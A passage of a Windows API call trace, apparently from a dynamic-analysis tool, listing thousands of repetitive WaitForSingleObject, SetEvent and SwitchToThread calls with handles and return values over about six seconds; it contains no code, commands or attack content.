	[0070.261] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.330] SetEvent (hEvent=0x6c) returned 1
	[0070.330] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.337] SetEvent (hEvent=0x6c) returned 1
	[0070.337] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.338] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.341] SetEvent (hEvent=0x6c) returned 1
	[0070.342] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.342] SetEvent (hEvent=0x80) returned 1
	[0070.342] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.385] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.408] SetEvent (hEvent=0x6c) returned 1
	[0070.408] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.415] SetEvent (hEvent=0x6c) returned 1
	[0070.415] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.415] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.419] SetEvent (hEvent=0x6c) returned 1
	[0070.419] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.420] SetEvent (hEvent=0xb4) returned 1
	[0070.420] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.471] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.489] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.497] SetEvent (hEvent=0x6c) returned 1
	[0070.497] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.497] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.500] SetEvent (hEvent=0x6c) returned 1
	[0070.500] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.502] SetEvent (hEvent=0x80) returned 1
	[0070.502] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.542] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.563] SetEvent (hEvent=0x6c) returned 1
	[0070.563] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.568] SetEvent (hEvent=0x6c) returned 1
	[0070.568] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.568] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.571] SetEvent (hEvent=0x6c) returned 1
	[0070.571] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.572] SetEvent (hEvent=0xb4) returned 1
	[0070.572] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.614] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.634] SetEvent (hEvent=0x6c) returned 1
	[0070.634] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.639] SetEvent (hEvent=0x6c) returned 1
	[0070.639] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.639] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.642] SetEvent (hEvent=0x6c) returned 1
	[0070.642] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.643] SetEvent (hEvent=0x80) returned 1
	[0070.643] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.696] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.714] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.720] SetEvent (hEvent=0x6c) returned 1
	[0070.720] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.720] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.723] SetEvent (hEvent=0x6c) returned 1
	[0070.723] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.724] SetEvent (hEvent=0xb4) returned 1
	[0070.724] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.767] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.786] SetEvent (hEvent=0x6c) returned 1
	[0070.786] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.791] SetEvent (hEvent=0x6c) returned 1
	[0070.791] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.791] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.795] SetEvent (hEvent=0x6c) returned 1
	[0070.795] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.796] SetEvent (hEvent=0x80) returned 1
	[0070.796] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.852] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.876] SetEvent (hEvent=0x6c) returned 1
	[0070.876] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.881] SetEvent (hEvent=0x6c) returned 1
	[0070.881] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.882] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.885] SetEvent (hEvent=0x6c) returned 1
	[0070.885] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.887] SetEvent (hEvent=0xb4) returned 1
	[0070.887] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.935] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.280] SetEvent (hEvent=0x6c) returned 1
	[0071.280] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.286] SetEvent (hEvent=0x6c) returned 1
	[0071.286] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.286] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.289] SetEvent (hEvent=0x6c) returned 1
	[0071.289] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.291] SetEvent (hEvent=0x80) returned 1
	[0071.291] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.347] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.368] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.376] SetEvent (hEvent=0x6c) returned 1
	[0071.376] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.376] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.380] SetEvent (hEvent=0x6c) returned 1
	[0071.380] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.381] SetEvent (hEvent=0xb4) returned 1
	[0071.381] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.428] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.449] SetEvent (hEvent=0x6c) returned 1
	[0071.450] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.457] SetEvent (hEvent=0x6c) returned 1
	[0071.457] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.457] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.462] SetEvent (hEvent=0x6c) returned 1
	[0071.462] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.464] SetEvent (hEvent=0x80) returned 1
	[0071.464] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.511] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.533] SetEvent (hEvent=0x6c) returned 1
	[0071.533] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.538] SetEvent (hEvent=0x6c) returned 1
	[0071.538] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.538] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.541] SetEvent (hEvent=0x6c) returned 1
	[0071.541] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.542] SetEvent (hEvent=0xb4) returned 1
	[0071.542] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.585] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.586] SetEvent (hEvent=0xb4) returned 1
	[0071.586] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0071.586] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.020] SetEvent (hEvent=0x80) returned 1
	[0073.020] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.020] SetEvent (hEvent=0x80) returned 1
	[0073.020] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.044] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.046] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.081] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.089] SetEvent (hEvent=0x6c) returned 1
	[0073.090] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.090] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.116] SetEvent (hEvent=0x6c) returned 1
	[0073.116] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.118] SetEvent (hEvent=0x6c) returned 1
	[0073.118] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.118] SetEvent (hEvent=0x6c) returned 1
	[0073.118] SwitchToThread () returned 1
	[0073.118] SetEvent (hEvent=0x6c) returned 1
	[0073.118] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.119] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.163] SetEvent (hEvent=0x6c) returned 1
	[0073.163] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.165] SetEvent (hEvent=0x80) returned 1
	[0073.165] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.189] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.192] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.226] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.230] SetEvent (hEvent=0x80) returned 1
	[0073.230] SetEvent (hEvent=0x8c) returned 1
	[0073.230] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0073.237] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.237] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0073.237] SetEvent (hEvent=0x80) returned 1
	[0073.237] SetEvent (hEvent=0x8c) returned 1
	[0073.237] SetEvent (hEvent=0xb4) returned 1
	[0073.237] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.251] SetEvent (hEvent=0xa8) returned 1
	[0073.251] SetEvent (hEvent=0xb4) returned 1
	[0073.251] SetEvent (hEvent=0x6c) returned 1
	[0073.251] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.257] SetEvent (hEvent=0x6c) returned 1
	[0073.257] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.259] SetEvent (hEvent=0x6c) returned 1
	[0073.259] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.259] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.279] SetEvent (hEvent=0x6c) returned 1
	[0073.279] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.280] SetEvent (hEvent=0xb4) returned 1
	[0073.280] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.337] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.355] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.363] SetEvent (hEvent=0x6c) returned 1
	[0073.363] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.363] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.366] SetEvent (hEvent=0x6c) returned 1
	[0073.366] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.367] SetEvent (hEvent=0x8c) returned 1
	[0073.367] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.410] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.430] SetEvent (hEvent=0x6c) returned 1
	[0073.430] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.435] SetEvent (hEvent=0x6c) returned 1
	[0073.435] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.435] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.438] SetEvent (hEvent=0x6c) returned 1
	[0073.438] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.440] SetEvent (hEvent=0xb4) returned 1
	[0073.440] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.486] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.507] SetEvent (hEvent=0x6c) returned 1
	[0073.507] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.511] SetEvent (hEvent=0x6c) returned 1
	[0073.511] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.512] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.515] SetEvent (hEvent=0x6c) returned 1
	[0073.515] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.516] SetEvent (hEvent=0x8c) returned 1
	[0073.516] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.579] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.579] SetEvent (hEvent=0x8c) returned 1
	[0073.579] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0073.580] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.173] SetEvent (hEvent=0x80) returned 1
	[0075.174] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.174] SetEvent (hEvent=0x80) returned 1
	[0075.174] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.181] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.200] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.235] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.242] SetEvent (hEvent=0x6c) returned 1
	[0075.243] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.243] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.284] SetEvent (hEvent=0x6c) returned 1
	[0075.284] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.286] SetEvent (hEvent=0x6c) returned 1
	[0075.286] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.287] SetEvent (hEvent=0x6c) returned 1
	[0075.287] SwitchToThread () returned 1
	[0075.287] SetEvent (hEvent=0x6c) returned 1
	[0075.287] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.287] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.329] SetEvent (hEvent=0x6c) returned 1
	[0075.329] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.331] SetEvent (hEvent=0x80) returned 1
	[0075.331] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.354] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.357] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.398] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.411] SetEvent (hEvent=0x6c) returned 1
	[0075.411] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.412] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.437] SetEvent (hEvent=0x6c) returned 1
	[0075.437] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.439] SetEvent (hEvent=0x6c) returned 1
	[0075.439] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.439] SetEvent (hEvent=0x6c) returned 1
	[0075.439] SwitchToThread () returned 1
	[0075.440] SetEvent (hEvent=0x6c) returned 1
	[0075.440] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.440] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.485] SetEvent (hEvent=0x6c) returned 1
	[0075.485] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.487] SetEvent (hEvent=0x80) returned 1
	[0075.487] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.511] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.514] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.549] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.555] SetEvent (hEvent=0x6c) returned 1
	[0075.555] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.555] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.580] SetEvent (hEvent=0x6c) returned 1
	[0075.580] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.582] SetEvent (hEvent=0x6c) returned 1
	[0075.582] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.582] SetEvent (hEvent=0x6c) returned 1
	[0075.582] SwitchToThread () returned 1
	[0075.582] SetEvent (hEvent=0x6c) returned 1
	[0075.582] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.583] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.634] SetEvent (hEvent=0x6c) returned 1
	[0075.634] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.635] SetEvent (hEvent=0x80) returned 1
	[0075.635] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.660] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.663] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.698] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.714] SetEvent (hEvent=0x80) returned 1
	[0075.715] SetEvent (hEvent=0xb4) returned 1
	[0075.715] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0075.718] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.718] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0075.719] SetEvent (hEvent=0x80) returned 1
	[0075.719] SetEvent (hEvent=0xb4) returned 1
	[0075.719] SetEvent (hEvent=0x8c) returned 1
	[0075.719] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.719] SetEvent (hEvent=0xa8) returned 1
	[0075.719] SetEvent (hEvent=0x8c) returned 1
	[0075.719] SetEvent (hEvent=0x6c) returned 1
	[0075.719] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.725] SetEvent (hEvent=0x6c) returned 1
	[0075.725] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.726] SetEvent (hEvent=0x6c) returned 1
	[0075.726] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.726] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.746] SetEvent (hEvent=0x6c) returned 1
	[0075.746] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.747] SetEvent (hEvent=0x8c) returned 1
	[0075.747] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.790] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.810] SetEvent (hEvent=0x6c) returned 1
	[0075.810] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.815] SetEvent (hEvent=0x6c) returned 1
	[0075.815] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.815] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.819] SetEvent (hEvent=0x6c) returned 1
	[0075.819] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.820] SetEvent (hEvent=0xb4) returned 1
	[0075.820] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.861] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.881] SetEvent (hEvent=0x6c) returned 1
	[0075.881] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.885] SetEvent (hEvent=0x6c) returned 1
	[0075.886] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.886] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.889] SetEvent (hEvent=0x6c) returned 1
	[0075.889] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.890] SetEvent (hEvent=0x8c) returned 1
	[0075.890] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.939] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.959] SetEvent (hEvent=0x6c) returned 1
	[0075.960] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.965] SetEvent (hEvent=0x6c) returned 1
	[0075.965] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.965] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.968] SetEvent (hEvent=0x6c) returned 1
	[0075.968] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0075.969] SetEvent (hEvent=0xb4) returned 1
	[0075.969] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.019] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.055] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.060] SetEvent (hEvent=0x6c) returned 1
	[0076.060] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.061] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.064] SetEvent (hEvent=0x6c) returned 1
	[0076.064] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.066] SetEvent (hEvent=0x8c) returned 1
	[0076.066] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.153] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.169] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.178] SetEvent (hEvent=0x6c) returned 1
	[0076.178] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.178] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.182] SetEvent (hEvent=0x6c) returned 1
	[0076.182] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.183] SetEvent (hEvent=0xb4) returned 1
	[0076.183] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.223] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.242] SetEvent (hEvent=0x6c) returned 1
	[0076.242] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.247] SetEvent (hEvent=0x6c) returned 1
	[0076.247] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.247] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.250] SetEvent (hEvent=0x6c) returned 1
	[0076.250] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.251] SetEvent (hEvent=0x8c) returned 1
	[0076.251] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.305] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.329] SetEvent (hEvent=0x6c) returned 1
	[0076.329] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.334] SetEvent (hEvent=0x6c) returned 1
	[0076.334] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.334] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.337] SetEvent (hEvent=0x6c) returned 1
	[0076.337] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.338] SetEvent (hEvent=0xb4) returned 1
	[0076.338] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.381] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.399] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.408] SetEvent (hEvent=0x6c) returned 1
	[0076.408] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.408] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.411] SetEvent (hEvent=0x6c) returned 1
	[0076.412] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.412] SetEvent (hEvent=0x8c) returned 1
	[0076.412] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.507] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.526] SetEvent (hEvent=0x6c) returned 1
	[0076.526] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.531] SetEvent (hEvent=0x6c) returned 1
	[0076.531] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.531] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
